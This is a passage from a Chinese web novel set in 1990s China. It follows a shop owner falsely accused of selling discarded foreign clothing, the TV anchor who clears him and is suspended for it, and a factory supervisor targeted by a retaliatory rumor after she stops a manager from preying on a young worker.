阳光被高耸的梧桐树切割成斑驳的碎影,洒在“港城风华时装店”巨大的玻璃橱窗上。店里的音乐播放着最流行的港台金曲,人潮涌动。 王建国穿着一件干练的白衬衫,脖子上挂着皮尺,正满面春风地穿梭在衣架间。 “老板,这件蝙蝠衫还有红色的吗?”一个时髦的年轻女孩举着衣服问。 “有!稍等啊妹子,我马上给你去库房拿!”王建国笑呵呵地应承着,转身就要往后走。 “砰——!” 一声沉闷的巨响突然在店门口炸开。 人群被吓了一跳,纷纷转头。只见一个满脸横肉、身材粗壮的中年男人怒气冲冲地跨进店门,手里攥着一件揉成一团的花格衬衣,狠狠地砸在王建国的脸上。 王建国被打得一愣,脸上的笑容瞬间凝固。 他一把扯下蒙在脸上的衣服,压着火气问:“这位大哥,你这是干什么?有话好好说,衣服不合适咱们可以换,怎么能动手砸人呢?” “换?我换你妈个头!”中年男人指着王建国的鼻子破口大骂,“大家伙都停手!别买他家的东西!这孙子卖的是‘洋垃圾’!我穿了他家的衣服,浑身起红斑,医生说是严重的接触性皮炎!这衣服上全是国外的死人病菌!” 此话一出,原本喧闹的服装店瞬间陷入寂静。 “洋垃圾”这三个字,就像是投入平静湖面的一颗重磅炸弹。前两天省里的报纸和电视新闻才刚刚铺天盖地地报道了沿海查获“停尸房旧衣”的骇人新闻,那些关于皮肤病、性病、甚至传染病的恐怖描述,早就在老百姓心里埋下了恐慌的种子。 几个正准备进试衣间的女孩吓得手一抖,手里的衣服像烫手山芋一样直接扔在了地上。 “你胡说什么?!”王建国脸色大变,一股血液直冲脑门。他做生意最看重信誉,这种指控简直是要他的命。 “我胡说?!”中年男人猛地卷起袖子,露出粗壮的手臂。只见他的小臂上密密麻麻布满了红色的丘疹,有些地方甚至已经被抓破,渗出黄色的脓水。 “大家看看!这就是证据!老子前天刚在他家买的,穿了一天就成了这样!你敢说你的衣服不是从国外垃圾堆里翻出来的死人衣服?!” 店里的顾客倒吸了一口凉气,纷纷向后退缩,仿佛那些挂着的衣服都沾染了瘟疫。 一个戴着金丝眼镜的年轻人立刻从人群中站了出来,神色警惕地指着衣架:“老板,既然你说你卖的是正规货,那你敢不敢把进货单和海关证明拿出来给我们看看?还有,为什么有些衣服上的水洗标是剪掉的?” 王建国急得满头大汗,大声解释:“大家别听他瞎说!我这衣服都是从广州高第街进的正规出口转内销的大货!水洗标剪掉是因为那是厂里的尾单,为了不影响原品牌的专柜销售才剪标的,这是行规啊!” “行规?骗鬼呢吧!”人群里突然有人阴阳怪气地喊了一嗓子,“报纸上都说了,那些倒卖洋垃圾的,为了掩盖衣服是穿过的,就会把领子后面的标剪掉或者重新缝一个!他这摆明了就是做贼心虚!” “对啊!我早就觉得他家衣服虽然款式好看,但是便宜得离谱!原来是这种脏东西!” “我的天哪……我昨天刚给我女儿买了一件裙子,她今天已经穿去学校了!万一感染了什么病可怎么办啊!”一个中年妇女突然崩溃地尖叫起来。 恐慌的情绪就像是一场烈火,在人群中迅速蔓延。 “退钱!把昨天买衣服的钱退给我!” “把这黑心店砸了!不能让他再害人!” 原本还在挑选衣服的顾客瞬间化作了愤怒的讨伐者。有人开始粗暴地拉扯衣架,成排的新衣服被推倒在地,无数双脚踩在上面。 “别踩!都别踩!你们听我解释——” 王建国拼命想要护住自己的心血,却被愤怒的人群推搡着撞在玻璃柜台上。 “解释个屁!你这种赚黑心钱的奸商,就该去坐牢!”中年男人趁乱抓起收银台上的一只招财猫,狠狠砸碎在地上。 就在场面即将彻底失控时,刺耳的警笛声在商业街外响起。 两辆漆着“工商行政管理”字样的白色桑塔纳停在了店门口。几个穿着制服的执法人员拨开人群走了进来。 “谁是王建国?”带头的执法队长冷着脸问。 王建国捂着被撞疼的肋骨,艰难地站直身子:“我是。” “我们接到群众举报,怀疑你店里涉嫌销售非法入境的废旧服装,严重危害公共卫生安全。现在依法对你的店铺进行查封,所有货物原地封存,等待检验!” 王建国的脑子“嗡”地一声炸开了。他看着那些白色的封条贴在自己新换的玻璃门上,看着那些自己辛辛苦苦从广州扛回来的衣服被粗暴地贴上标签 ,整个人如坠冰窟。 仅仅一天的时间,流言像长了翅膀一样,吞噬了整个旗山县。 “听说了吗?王建国卖的衣服,都是洋垃圾!” “真的假的?” “还能有假?昨天有个顾客买了衣服,穿了起了一身红疹子!听说里面还有旧标签呢!” “怪不得便宜,这可不是便宜的事,听说带有外国的传染病呢!” 第二天晚上,王建国一个人坐在大门紧闭的店铺门口,周围没有开灯,只有从卷帘门缝隙透进来的微弱光线,将他的影子拉得颓长而凄凉。 曾经人声鼎沸的店铺,此刻寂静得可怕。 他抓着自己的头发,眼底布满血丝。他不明白,自己本本分分、起早贪黑地做生意,怎么就突然变成了千夫所指的过街老鼠?那些所谓的“皮炎”到底是怎么回事?工商局为什么来得那么快? 更要命的是,他手里的流动资金已经全部压在了这批夏装上。如果被扣上“洋垃圾”的帽子,不仅货物要被全部销毁,他还要面临巨额的罚款,这辈子都翻不了身。 绝望之中,他看着柜台上的黑色座机电话,忽然想到了远在深城的表妹裴文莹。 文莹从小就比他聪明,有主意,一定能帮他想出办法。 他颤抖着手,拨通了深城的电话号码。“嘟——嘟——嘟——”漫长的等待音在空旷的店铺里回荡,每一声都像敲击在他的心上。没人接。 他深吸一口气,拨了裴文莹的呼机号码,然后在店里焦灼地踱步。半个小时过去了,一个小时过去了……电话始终死一般沉寂。 王建国的心一点点沉到了谷底。他不知道裴文莹是因为忙,还是没带呼机。但此刻,远水救不了近火。他必须自救!他必须让全县人知道真相! 怎么让全县人知道? 在九十年代的小县城里,老百姓最信任的除了报纸,就是县电视台。 一个高傲却又清冷的身影,猛地撞进了王建国的脑海。 容薇薇!旗山县电视台的女主播。那个总是对他冷嘲热讽、看不起他的女人。 王建国的喉结滚了滚。如果去找她,肯定要被她骂。但他现在走投无路了,那个签了一千五百块赞助合同的电视台,是他唯一能抓住的绳索。 “死就死吧!”王建国咬了咬牙,胡乱抹了一把脸上的冷汗,推开后门,朝着旗山县电视台的方向狂奔而去。 26. 第 26 章 县政府大楼传达室。 看门的老头坐在摇椅上,摇着蒲扇,眼皮耷拉着瞥了王建国一眼。王建国此刻看起来十分狼狈,白衬衫在昨天的推搡中被扯破了领口,上面还沾着灰,眼底的乌青让他整个人显得憔悴不堪。 “大爷,我找容薇薇……容主播,我有急事求她帮忙!”王建国隔着传达室的窗户,语气急切。 “容小姐在里头录节目呢,没空见闲杂人等。”老头冷淡地摆了摆手,“回去吧回去吧,最近找电视台的多了去了,都要排队!” “大爷,我是他们台的赞助商!您就行行好,帮我通报一声吧!”王建国急得差点要翻窗户了。 “谁找我?” 一道清冷的声音从走廊深处传来。 王建国猛地转头,只见容薇薇穿着一套剪裁得体的米色职业套装,手里拿着一份文件夹,长发利落地挽在脑后,正微微蹙眉看着他。 “容小姐!是我!王建国!”王建国像是抓住了救命稻草,快步迎了上去。 容薇薇上下打量了他一眼,眉头皱得更深了。昨天商业街那场“洋垃圾”闹剧,她自然也听说了。台里甚至还在讨论,要把这家店铺作为负面典型进行报道。 她本能地往后退了半步,眼神里透着毫不掩饰的嫌弃与戒备:“你来干什么?我们台的赞助费,你不会是想因为被查封了就来要回去吧?” 王建国被她轻蔑刺痛了一下,但他现在顾不上什么自尊了。 “容小姐,你听我说,我是被人陷害的!我卖的绝对不是洋垃圾!”王建国的声音带着一丝沙哑和颤抖,“有人故意找茬,现在满城风雨,工商把我店封了,我浑身是嘴也说不清了!我求求你,帮我做个报道,把真相公布出去,不然我就彻底毁了!” 容薇薇冷笑了一声,语气尖锐:“王老板,你觉得我是三岁小孩吗?空穴不来风,如果你的衣服没问题,人家怎么会穿出皮炎?你现在跑来找我,是想利用电视台帮你洗白?对不起,我只播报事实,不做假新闻。” “我说的就是事实!”王建国急得眼圈都红了,“容小姐,我王建国虽然是个没文化的农民,但我知道赚黑心钱是要断子绝孙的!我的每一笔进货单、打款凭证都清清楚楚!仓库里还有一堆带着广州服装厂原封塑料套和防伪吊牌的新货!” 他死死盯着容薇薇的眼睛,目光里不再有以前那种讨好的傻气,只有被逼到绝境的恳求和坦荡。 “你如果不信,你带着摄像机跟我去仓库查!如果我撒谎,你直接让全县人看我的笑话,把我曝光到底!我绝无怨言!” 容薇薇愣住了。 她看着眼前这个狼狈不堪的男人。在她的印象里,王建国一直是个看见漂亮女人就拔不动腿、嬉皮笑脸的油腻个体户。可此刻,他眼里的那股绝望中的倔强,却真实得让人无法忽视。 在新闻从业者的直觉里,容薇薇敏锐地察觉到了这件事背后可能藏着的不寻常。一个那么赚钱的店铺,突然在这个节点爆出丑闻,未免太巧了。 她骨子里那股清高,虽然让她看不起王建国这种暴发户,但同样,她也痛恨那些见不得光的阴谋诡计。 容薇薇沉默了片刻,“好。” 她语气依旧冰冷,“我可以带人去拍你。但我丑话说在前头,如果你敢骗我,我会亲手把这期节目做成旗山县的反面教材,让你永远翻不了身。” 王建国连连点头,眼角泛起了一丝水光:“谢谢……容小姐,只要真相大白,我王建国做牛做马报答你!” 容薇薇转过身,对传达室的大爷说:“去后院把老赵叫出来,带上摄像机,马上跟我出外勤。” 第二天晚上,旗山县的千家万户正围坐在电视机前,一边摇着蒲扇吃着晚饭,一边看着每天雷打不动的《旗山新闻》。 伴随着熟悉的新闻片头音乐结束,容薇薇那张清丽脱俗的脸出现在了电视屏幕上。 她穿着一套深蓝色的职业装,神情端庄而严肃。 “各位观众朋友晚上好。近日,关于我县商业街某服装店售卖‘洋垃圾’的传闻甚嚣尘上,引起了广大市民的强烈关注与恐慌。为此,本台记者进行了深入的实地调查。” 随着容薇薇清朗的声音,电视画面一转,切到了王建国的服装店仓库。 画面中,王建国那张憔悴却难掩坦荡的脸出现在镜头前。他手里举着厚厚一沓单据,镜头推了特写。 “这是从去年到昨天,我店里所有的进货单据、物流凭证以及给广州服装厂的银行汇款单。每一笔账目都清清楚楚。”王建国对着镜头,声音有些沙哑,却掷地有声。 紧接着,画面切换到了工商执法人员对仓库进行开箱抽检的现场。 容薇薇拿着话筒站在一旁,声音沉稳有力:“在记者的见证下,工商部门对该店封存的货物进行了拆包检查。事实证明,该仓库内所有待售服装,均带有完整的塑料封套与合格证。并未发现任何所谓的废旧‘洋垃圾’。” 画面里,执法人员撕下封条,从纸箱里拿出一件件崭新的、散发着布料特有清香的新衣服,展示在镜头前。 “经工商、卫生等部门联合初步鉴定,该店货源渠道正规。至于引发传闻的‘皮肤过敏’事件,不排除是有人蓄意滋事、恶意竞争。目前,公安机关已介入调查。” 新闻的最后,容薇薇再次出现在演播室里,目光直视着镜头:“谣言止于智者,真相不怕阳光。我们呼吁广大市民不信谣、不传谣,共同维护良好的市场环境。” 这短短两分半钟的新闻报道,解了王建国的灭顶之灾。 “我就说嘛!那衣服款式那么新,怎么可能是死人穿的!” “这老板也真是倒霉,生意太好被人眼红陷害了吧!” “电视上都播了,工商也查了,那肯定没问题了!” 第二天一大早,王建国店铺门上的封条被依法拆除。 重新开业的那一刻,商业街被围得水泄不通。老百姓们不仅没有被流言吓退,反而因为这出“反转大戏”对这家店产生了更浓的兴趣。更有人为了支持这个被陷害的凄惨的老板,特意跑来抢购衣服。 王建国站在门口,看着如潮水般涌入的顾客,眼眶发热。他知道,自己这回算是从鬼门关里爬出来了。 他站在柜台后,踮起脚尖在人群中张望,想找到容薇薇的身影当面道谢。可是找了半天,也不见那个身影。 王建国无奈地苦笑了一下。是啊,人家本来就嫌弃自己是个泥腿子,帮自己不过是出于记者的正义感,怎么可能来参加他这小店铺的开业? 然而,此时的容薇薇,正面临着一场巨大的职业危机。 县政府大楼,电视台长办公室。“啪!”一本厚厚的记事本被狠狠砸在办公桌上,震得上面的茶杯盖“哐当”乱响。 台长指着站在对面的容薇薇,气得脸上的横肉都在发抖:“容薇薇!你胆子是越来越肥了!谁让你不经报备,私自带摄像出外勤的?!谁允许你把这种未经台里审阅的新闻直接插播进晚间新闻里的?!” 容薇薇笔直地站在办公桌前,微微扬起下巴,眼神倔强:“台长,王建国是被人恶意陷害的,我是去澄清事实。而且他签了咱们台的赞助合同,算咱们的大客户,我们有义务维护他的合法权益。” “你少拿赞助商来压我!”台长一巴掌拍在桌子上,“你知不知道你惹了多大的麻烦?!今天一早,有人把举报信直接捅到了县委宣传部!说咱们电视台受贿,收了个体户的黑钱,替投机倒把的黑心商人洗地!” 容薇薇脸色一白:“这简直是血口喷人!我们一分钱都没收!” “你没收,别人信吗?”台长冷笑一声,“你一个刚毕业没多久的黄毛姑娘,为了一个卖衣服的暴发户,连流程都不走就敢播新闻。现在上面要查我们台的风纪问题!你这叫仗义?你这叫给台里抹黑!” 台长烦躁地在办公室里踱了两圈,停下脚步,冷冷地看着她:“从今天起,你停职反省。在调查结果出来之前,不准碰台里的任何工作!” 容薇薇紧紧咬住下唇,无法反驳。在这座充斥着人情世故的大楼里,解释是苍白的。她只是做了一件自认为正确的事,却触碰了那些隐藏在暗处的利益集团的逆鳞。 “我知道了。”容薇薇垂下眼帘,声音微哑,转身走出了办公室。 傍晚,筒子楼里的容家。 容薇薇推开家门,迎接她的不是一顿热饭,而是母亲狂风暴雨般的指责。 “你是不是疯了?!”母亲手里攥着一把韭菜,气得手指都在哆嗦,“我刚才在走廊听楼下老李头说,你被电视台停职了?!为了一个卖破衣服的暴发户,你连前途都不要了?!” 容薇薇疲惫地靠在门框上,连换鞋的力气都没有:“妈,事情不是你想的那样。我是记者,我只是还原真相……” “还原个屁的真相!”姐姐容露露从厨房里走出来,手里端着一碗刚煮好的面条,脸上写满了幸灾乐祸的快意,“容薇薇,你不是很清高吗?不是看不起我这个纺织女工吗?怎么现在沦落到要被台里赶回家的地步了?收了人家的黑钱被查出来了?” “容露露,你把嘴巴放干净点!”容薇薇猛地抬起头,眼神锐利。 “我怎么不干净了?”容露露冷嗤一声,放下面碗,“当年二叔走后门把你塞进电视台,我就说你这小姐脾气干不长。现在好了,工作丢了,副局长家的亲事也黄了。你以后就跟我一起去大街上摆摊卖毛巾吧!” 母亲一听,气得一屁股坐在沙发上,拍着大腿嚎叫起来:“我这是造了什么孽啊!你爸死得早,我辛辛苦苦把你们拉扯大。原本指望你能嫁个好人家,把咱们家这破门面撑起来。现在倒好,停职了!你以后还怎么见人啊!” 在这个家里,没有人关心她是否受了委屈,没有人问她到底遭遇了什么。她们只在乎那份体面的工作能不能保住,能不能换来高门大户的聘礼。 容薇薇拉开门,绝望地看了一眼这个充斥着市侩与嫉妒的家,转过身,重重地摔上了大门。 27. 第 27 章 两天后,商业街。 “港城风华时装店”的生意不仅恢复了往日的红火,甚至因为电视台的报道因祸得福,名气更上一层楼。 王建国坐在收银台后,看着满屋子抢购的顾客,心里却始终空落落的。 这几天,他一直惦记着要去给容薇薇道谢。他打听过了,电视台的赞助只是公对公的业务,如果没有容薇薇私自带着摄像机来拍那期节目,他现在可能已经在看守所里蹲着了。 这份恩情太重,重到他觉得光说一句“谢谢”都显得虚伪。 下午,王建国把店交给了裴大姑看管。他特意去县城的百货大楼,买了两盒高档的补品、两条大中华香烟、一箱进口的红富士苹果,又从店里挑了一套包装精美的真丝围巾。 这些东西花了几百块钱,但他一点都不心疼。 他提着大包小包,按照之前打听到的地址,一路寻到了家属院的筒子楼。 筒子楼里的光线很暗,楼道里堆满了蜂窝煤和破旧的自行车。 王建国爬到三楼,停在斑驳的绿木门前,深吸了一口气,紧张地整理了一下自己的衣领,抬手敲了敲门。 “谁啊?”门内传来一个中年妇女的声音,伴随着拖鞋趿拉的声响。 防盗门被拉开了一条缝。容薇薇的母亲探出头来,上下打量着站在门外、双手提满东西的高大男人。 “你找谁?”母亲皱着眉头问。 “阿姨您好!”王建国赶紧露出一个憨厚热情的笑容,“我是商业街开服装店的,我叫王建国。我是特地来找容薇薇……容记者的。前几天多亏了她仗义执言,帮了我的大忙,我买点东西来看看她,表达一下感谢。” 听到“服装店”、“王建国”这几个字,母亲的脸色瞬间沉了下来,原本半开的防盗门“哐当”一声只留下一道窄窄的缝隙。 这就是那个害得自己女儿被停职的罪魁祸首! “她不在家。”母亲的声音冷得像冰窖。 王建国愣了一下,脸上的笑容僵住了:“不在啊……那、那她什么时候回来?阿姨,这些东西是我的一点心意,您先收下……” 说着,王建国把手里的礼品往前递了递。 “拿走拿走!谁要你的破东西!”母亲像避瘟神一样往后退了一步,眼神里满是毫不掩饰的厌恶和鄙夷。 就在这时,屋里传来容露露阴阳怪气的声音:“妈,谁在外面啊?” 容露露穿着宽松的睡衣,一边嗑着瓜子一边走到门口。当她隔着防盗门看到王建国时,先是愣了一下,随即眼底闪过一丝浓浓的讥讽。 她这几天正因为毛巾厂要停工的事焦头烂额,心里对容薇薇的嫉妒和怨恨达到了顶峰。现在看到害得容薇薇被停职的“罪魁祸首”竟然敢找上门来,心里的火气找到了发泄口。 “哟,这不是那个卖洋垃圾的王大老板吗?”容露露吐了一口瓜子皮,斜倚在门框上,眼神刻薄,“怎么?害得我妹妹被电视台停职审查,连大好的姻缘都黄了,你提几盒破东西就想来打发叫花子?” “停职?!”王建国如同五雷轰顶,手里的箱子差点掉在地上,“容记者她……她因为我的事被停职了?!” 他原本以为容薇薇只是脾气坏、看不起他,却怎么也没想到,那个表面上冷冰冰、对他不屑一顾的女主播,竟然为了帮他洗脱冤屈,默默承受了这么大的代价! “你不知道?”容露露冷笑一声,上下打量着王建国,语气更加尖酸,“也对,你这种泥腿子暴发户,怎么会懂台里的规矩?要不是因为收了你的好处,我妹妹能连前途都不要了?现在好了,整个县城都在传她收了黑钱,名声全毁了!” “我没有!她一分钱都没收过我的!”王建国急得额头青筋暴起,大声辩解,“容记者是个好人,她只是为了帮我伸张正义!” “少在这儿猫哭耗子假慈悲!”容母终于忍不住了,一把推开容露露,指着王建国的鼻子破口大骂。 “你算个什么东西?!一个乡下来的泥腿子,仗着赚了几个臭钱,就敢来沾惹我家薇薇?!要不是你,她现在正 跟副局长家的公子谈婚论嫁呢!你也不撒泡尿照照你自己那个穷酸样!就你这种人,提几盒东西就想套近乎?我告诉你,癞蛤蟆想吃天鹅肉——你做梦!” 容母的话像一把把锤子,狠狠打在王建国的自尊心上。 “带着你的臭东西,马上给我滚!以后少来祸害我家薇薇!” 伴随着容母歇斯底里的怒吼,厚重的防盗门在王建国面前重重地关上了。 王建国呆呆地站在原地。 他看着紧闭的绿色木门,耳边还回响着“泥腿子”、“癞蛤蟆”这些刺耳的字眼。 长久以来,他虽然读书不多,但靠着自己的双手在这个县城里打拼,盖房、开店,他一直觉得自己并不比那些城里人低贱。 直到今天,他才真正看清了在这个小县城里,阶级和门第的鸿沟有多么深。 在容家人眼里,他不过是一个沾满铜臭味的、粗鄙的底层人。他对容薇薇那点隐秘的、不敢宣之于口的好感,在现实面前,简直是个可笑的笑话。 王建国慢慢低下头,看着自己手里提着的那些精美的礼盒。刚才还觉得拿得出手的东西,此刻在昏暗的楼道里,显得那么廉价和多余。 他深深地吸了一口气,将胸腔里那股翻滚的酸楚和刺痛强压下去。他把手里的礼品,整整齐齐地摆放在了容家门外的蜂窝煤旁边。 退后一步,王建国看着那扇紧闭的门,自嘲地扯了扯嘴角。 “容小姐的恩情,我记下了。”他在心里默默对自己说,“但以后,绝不往前凑了。” 他转过身,挺直了脊背,迈着沉重的步伐,一步步走下了那昏暗狭长的筒子楼楼梯。 傍晚的阳光透过楼道的窗户照进来,将他的影子拉得很长。 那个清高骄傲的女孩,终究是天上飞的天鹅。而他,这只井底的癞蛤蟆,该回到属于自己的泥潭里,去拼命挣钱、去强大自己了。 只有手里握着绝对的实力,才不会再被人碾碎尊严。 从此以后,桥归桥,路归路。 28. 第 28 章 深城像一块巨大的磁石,吸附着全国各地如潮水般涌来的年轻女孩。 她们大多来自贫困的山区农村,没有高学历,没有背景。她们坐着颠簸了几天几夜的绿皮火车,怀揣着对特区的向往,最终却只能一头扎进那些实行军事化管理的代工厂里。 每天十二个小时的流水线作业,刺鼻的机油味,轰鸣的机器声,以及一个月几百块钱的微薄工资,就是她们全部的生活。 在这样极度疲惫与匮乏的生存环境里,如果有一个穿着西装、梳着油头、自称从“宝岛”或“港城”来的管理层男人,对她们抛出一点廉价的关怀与金钱的诱饵,很容易就能击溃她们的心理防线。 裴文莹太清楚这种套路了。 前世她见过太多这样的女孩,贪图一时的安逸与虚荣,做了别人的“二奶”。但天下从来没有白痴的午餐。一旦年老色衰,或者金主玩腻了拍拍屁股回到老家,这些女孩的下场,往往比在流水线上还要凄惨百倍。 所以,当裴文莹下车间巡视,看到新来的采购部经理江富生,正靠在水泥柱上,冲女工小玉笑得一脸暧昧时,她的眉头瞬间皱紧了。 小玉才十八岁,是从川省大山里出来的,人长得水灵,又很单纯。此刻她正低着头,手指绞着衣角,脸颊微红。 “江经理……你刚才说的,是真的吗?”小玉的声音带着一丝期待。 “当然是真的。”江富生弹了弹手里的香烟,笑得油腔滑调,“小玉,你长得这么水灵,这双手怎么能用来天天打螺丝呢?那多暴殄天物啊。” 江富生说着,故意把身体往前倾了倾,声音压得极低:“只要你听话,我马上在厂外给你租个单间。周末我还带你去逛街,给你买新衣服。” 小玉的眼睛亮了起来。她太累了,每天在流水线上重复同样的动作,腰酸背痛,连买一瓶几毛钱的汽水都要精打细算。如果真的能像电视里的女主角一样…… “那……要是被别人知道了……”小玉嗫嚅着,内心在做着最后的挣扎。 “怕什么?我可是从宝岛来的,每个月光奖金就顶你们大半年的工资。跟着我,谁敢笑话你?”江富生伸出手,就想去搂小玉的肩膀。 “小玉!” 一声清冷严厉的呵斥,划破了后门暧昧黏腻的空气。 小玉吓得浑身一哆嗦,猛地转过头。 裴文莹拿着考勤表,站在几步开外,眼神冷冷地盯着他们:“上班时间不在工位,跑到这里来闲聊什么?三号线的物料积压了,还不快回去!” 小玉的脸色瞬间煞白,像是一只被踩了尾巴的猫,甚至连看都没敢看江富生一眼,低着头慌不择路地跑回了车间。 江富生伸在半空的手落了空。他收起手,将烟头扔在地上用锃亮的皮鞋碾灭,转过身看着裴文莹,脸上的笑意褪去了大半。 “哟,裴小姐这么忙,怎么有空管这种闲事?”江富生皮笑肉不笑地整理了一下西装领口。 裴文莹走上前,目光如炬,毫不退让地直视着他:“江经理,你可别忘了,你是有老婆孩子的。不要在厂里玩这种下三滥的套路。” 江富生被她直白的话刺得脸色微变,但仗着自己是老板娘的亲弟弟,很快又恢复了那副有恃无恐的嘴脸。 “佩小姐,这话就难听了吧?”江富生耸了耸肩,“我不过是体恤下属,关心一下新女工的生活困难,哪有什么玩弄的意思?你这么上纲上线,未免也管得太宽了。” “关心生活困难?”裴文莹冷笑了一声,“那你怎么不去关心关心男工?每次被你关心的,怎么全都是刚进厂的漂亮年轻女孩?江富生,我警告你,这里是铭康的生产线,不是你的后宫。你敢再把脏手伸向我车间里的女孩,我一定上报给老板,让你好看。” 江富生的眼神瞬间阴沉下来。在厂里,连其他几个副厂长都要看在他的背景面上敬他三分,这个从内地乡下来的车间主管,竟然敢指着他的鼻子骂? “你以为你是谁?”江富生嗤笑一声,走近了一步,眼神里透着阴毒,“裴文莹,你也就是个打工的。我可是老板娘的亲弟弟。你信不信,我只要一句话,就能让你马上滚蛋?” 裴文莹毫无惧色,嘴角勾起一抹讥诮的弧度:“好啊。那你现在就去郭总面前说。” 江富生被噎得半天说不出话来。他确实不敢去郭育铭面前闹,他姐夫最看重效益,而且极度厌恶家族亲戚在厂里惹事。 “行,裴文莹,你有种。”江富生咬牙切齿地点了点头,眼里闪过一丝恶毒的算计,“咱们走着瞧。” 江富生带着一肚子邪火回到了办公区。 刚走到茶水间拐角,就撞见了正端着咖啡杯、神色悠闲的冯心媚。 自从在广交会上被裴文莹狠狠压了一头,甚至在洗手间里被当面羞辱了一顿后,冯心媚对裴文莹的嫉恨已经刻进了骨子里。她无时无刻不在寻找机会,想把这个不知天高地厚的大陆妹踩回泥潭里。 “哟,江经理,这大热天的,是谁惹您发这么大火啊?”冯心媚敏锐地察觉到了江富生的情绪,故作关切地递上一张纸巾。 江富生接过纸巾擦了擦汗,没好气地啐了一口:“还能有谁?还不是车间里那个姓裴的臭姑娘!拿着鸡毛当令箭,管闲事管到我头上来了!真把自己当老板娘了?!” 冯心媚听到 “裴文莹”三个字,眼睛里闪过一抹精光,随后叹了口气,压低声音添油加醋:“唉,江经理,你也别怪她嚣张。人家现在可是郭总面前的红人。你没看广交会回来之后,郭总对她多器重?连咱们这些老人都得靠边站呢。” 江富生一听这话,心里的邪火顿时变成了酸水:“呸!她算个什么东西?不就是仗着有几分姿色,在我姐夫面前发骚吗?” 冯心媚眼神微动,嘴角勾起一抹不易察觉的冷笑。她端起咖啡杯,似有意似无意地轻声说道:“是啊,这女人啊,一旦野心大了,什么手段使不出来?我看她平时在厂里装得清高,对谁都不假辞色,唯独对郭总的事那么上心。说不定啊……人家图的,根本不是什么车间主管的位子,而是想把郭太太取而代之呢。” 这句话,就像是一颗扔进干柴堆里的火星,瞬间在江富生的脑子里炸开了。 郭太太是谁?那是他亲姐姐啊!裴文莹这贱人,敢在车间里骂他,还敢在背后打他姐夫的主意?! “好一个不要脸的狐狸精!”江富生咬牙切齿,眼底满是狠毒,“想爬上我姐夫的床?做她的春秋大梦!我非得把她的皮扒下来不可!” 冯心媚掩嘴轻笑,眼底满是借刀杀人的快意。 “江经理,咱们这种老实人,就是斗不过这些有心机的。不过……要是有什么风声传到郭太太耳朵里,恐怕她裴文莹再有本事,也得兜着走吧?” 江富生和冯心媚相视一眼,心照不宣地笑了起来。 几天后,铭康厂区里的气氛开始变得有些诡异。 起初,只是食堂打饭时的交头接耳,或是流水线上女工们避开裴文莹目光的窃窃私语。但很快流言,就像下水道里的霉菌一样,在封闭的厂区里疯长。 “听说了吗?裴主管好像跟郭总有一腿……” “真的假的?她平时看着挺正经的啊,连厂里的男主管跟她搭话都不理的。” “啧,你懂什么,人家眼界高着呢!你没看前阵子广交会,她跟郭总成双入对地去那种高级酒会?听说郭总还私下给她买了一套好几千块钱的高级洋装呢!” “难怪她年纪轻轻就能升主管!原来是靠那种手段上去的啊……” “我还听说,她仗着郭总宠她,连宝岛来的老板小舅子都不放在眼里,天天在车间里端着老板娘的架子呢!” 在那个文化生活极度匮乏的年代,关于女上司靠美色上位的风流韵事,最能刺激打工者的神经。 当传言传到裴文莹的耳朵里时,版本已经演变成了:裴文莹已经怀了郭总的孩子,郭总正准备和远在宝岛的结发妻子离婚,要在深城给她买别墅金屋藏娇了。 29. 第 29 章 中午,职工食堂。 裴文莹端着铝制饭盒走向一张空桌。沿途的几桌女工瞬间停止了说话,眼神齐刷刷地落在她身上,带着毫不掩饰的鄙夷、嫉妒,甚至还有一种隐秘的兴奋。 连平时和她走得最近的人,今天都找了个借口,端着饭盒坐到了离她最远的地方。 裴文莹握着筷子的手微微收紧。 她太明白流言的杀伤力了。在这个世界上,毁掉一个女人最快、最廉价的方式,就是□□羞辱。一旦被贴上“靠男人上位”的标签,她之前所有的努力,都会化为乌有。 “哟,这不是咱们未来的‘老板娘’吗?” 一个流里流气的声音在裴文莹桌前响起。 江富生端着饭盒,大摇大摆地坐在了裴文莹对面,一脸小人得志的笑:“怎么一个人在这儿吃饭啊?郭总没带你去吃西餐?” 裴文莹抬起头,眼神冰冷地看着他:“江富生,这些下三滥的谣言,是你传出去的吧?” “裴小姐,饭可以乱吃,话可不能乱讲啊。”江富生夸张地摊开双手,提高了音量,故意让周围竖着耳朵听八卦的人都能听见,“你是什么人,你自己最清楚,现在全厂都知道了,你还想赖到我头上?” 裴文莹嗤了一声,放下筷子,盯着他冷冷地说:“江富生,你是不是忘了我那天警告过你什么?你以为用这种下三滥的手段,就能继续在厂里骗那些女工了?” 江富生怒道:“裴文莹!你少在这儿血口喷人!你别以为我姐远在宝岛就没人治得了你!识相的,赶紧自己滚铺盖走人,别等我姐夫为了避嫌,亲自开除你!” 周围的工人们虽然不敢大声说话,但看向裴文莹的目光中,已经充满了鄙夷。 裴文莹懒得再和江富生对质,更没有必要自证清白。 她太清楚了,在这个局里,唯一能一锤定音、彻底粉碎谣言的,只有一个人——郭育铭。 如果老板选择和稀泥,或者为了所谓的大局而让她受委屈,那这家工厂,也没有任何值得她留恋的价值。 下午,郭育铭出差回到厂里。 他刚走进办公室,还没来得及脱下西装外套,桌上的内线电话就响了。 “郭总,裴主管在门外,说有非常紧急的事情要见您。”秘书的声音从电话里传来。 “让她进来。”郭育铭揉了揉疲惫的眉心。 办公室门被推开,裴文莹走了进来,神色平静,将手里信封轻轻放在了郭育铭的面前。 “老板,这是我的辞职信。”裴文莹开门见山,声音清脆,没有一丝犹豫。 郭育铭愣了一下,眉头瞬间皱了起来:“辞职?文莹,发生什么事了?车间出问题了?” “车间没有问题,”裴文莹直视着郭育铭的眼睛,“郭总,这几天您出差不在,厂里发生了一些事情。我不知道您是否听说了,但现在全厂都在传,我靠勾引您上位,甚至说您要为了我离婚。” 郭育铭的脸色瞬间变了。他虽然忙于外务,但厂里的风吹草动,他怎么可能一点耳闻都没有?只是他没想到,流言竟然已经传得如此离谱。 “简直胡闹!这是谁在底下乱嚼舌根?!” “源头是谁,您心里应该有数。”裴文莹不卑不亢地看着他,“前几天,我撞破了江富生经理在车间后门,用金钱和虚假承诺哄骗刚入职的女工小玉。我出面制止,并警告了他。第二天,关于我的谣言就出来了,甚至还有人添油加醋,说我这是在打击报复。” 郭育铭的脸色铁青。他当然知道自己那个小舅子是个什么货色。 裴文莹没有停顿,继续说道:“郭总,我感谢您一直以来的栽培。但我裴文莹站在这里,除了您的赏识,还有我自己的努力。” 她指了指桌上的辞职信,语气决绝:“如果公司不能给我一个清白,肃清流言,那抱歉,我只能辞职。” 这是底气,也是一种逼宫。 郭育铭看着眼前这个女孩,默然半晌,将桌上的辞职信拿起来撕成两半,扔进了垃圾桶。 